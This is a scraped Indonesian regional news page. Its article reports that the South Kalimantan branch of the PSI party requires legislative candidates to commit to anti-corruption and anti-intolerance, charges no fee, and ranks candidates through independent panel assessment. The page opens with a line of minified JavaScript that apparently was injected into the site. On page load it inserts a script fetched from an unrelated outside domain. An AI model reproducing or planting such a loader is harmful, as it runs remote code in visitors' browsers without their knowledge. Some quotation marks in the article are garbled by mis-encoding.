(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Partai Solidaritas Indonesia (PSI) tegaskan bahwa untuk menjadi calon legislatif (Caleg) dari PSI harus memiliki dua komitmen yang harus ditandatangi saat mendaftarkan diri untuk menjadi Caleg.
Sekjen DPW PSI Kalsel Yogi Adhiatma menyebutkan, semua kalangan boleh masuk, pada prinsipnya tidak korupsi dan anti intoleransi. Yogi menyampaikan, PSI melawan korupsi dan terus mendukung penguatan KPK dan menolak segala upaya pelemahan terhadap lembaga anti rasuah tersebut.
“Sulit untuk membayangkan upaya pembersihan itu dilakukan partai yang politisinya terlibat dalam upaya untuk melemahkan KPK, ataupun yang selama ini banyak kadernya terlibat korupsi,†katanya di hadapan awak media, Senin (5/3).
Dia juga menambahkan, PSI merupakan partai yang anti intoleransi. PSI merupakan parpol yang menggunakan platform anti intoleransi. PSI sangat sadar bahwa keragaman Indonesia adalah sebuah kekuatan bila didasari atas penghormatan dan pengakuan hak-hak setiap warga negara. “Apapun suku, agama, ras dan golongan lainnya dengan mengedepankan prinsip keadilan. PSI akan melawan segala bentuk intoleransi di Indonesia,†tegasnya lagi.
Yogi menambahkan, dalam perekrutan caleg PSI tidak akan ada meminta adanya mahar yang harus dikeluarkan oleh si bakal Caleg. “Tidak ada iuran yang harus disetorkan oleh Caleg,†ucapnya.
Dia menyampaikan, dalam rekruitmen Caleg dilakukan secara terbuka. Bagi PSI, salah satu akar permasalahan korupsi adalah proses rekruitmen yang tertutup, eksklusif dan nepotisme. Sedikit sekali tempat bagi mereka yang kompeten, jujur dan bersih. “Untuk itu, PSI membangun terobosan baru dalam proses rekruitmen Caleg. Proses tersebut berlangsung dengan melibatkan panelis independent,†ujarnya.
Dia menambahkan, seleksi caleg akan ada tim independen yang melakukan seleksi dan penilaian terhadap bakal caleg sehingga dari hasil penilaian tersebut dapat ditentukan nomor urut caleg.
“Jadi dalam penentuan nomor urut, bukan berarti berapa Caleg punya, tetapi berdasarkan pada hasil penilaian terhadap Caleg tersebut,†pungkasnya. (abdullah)
KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More
KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More
KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More
This website uses cookies.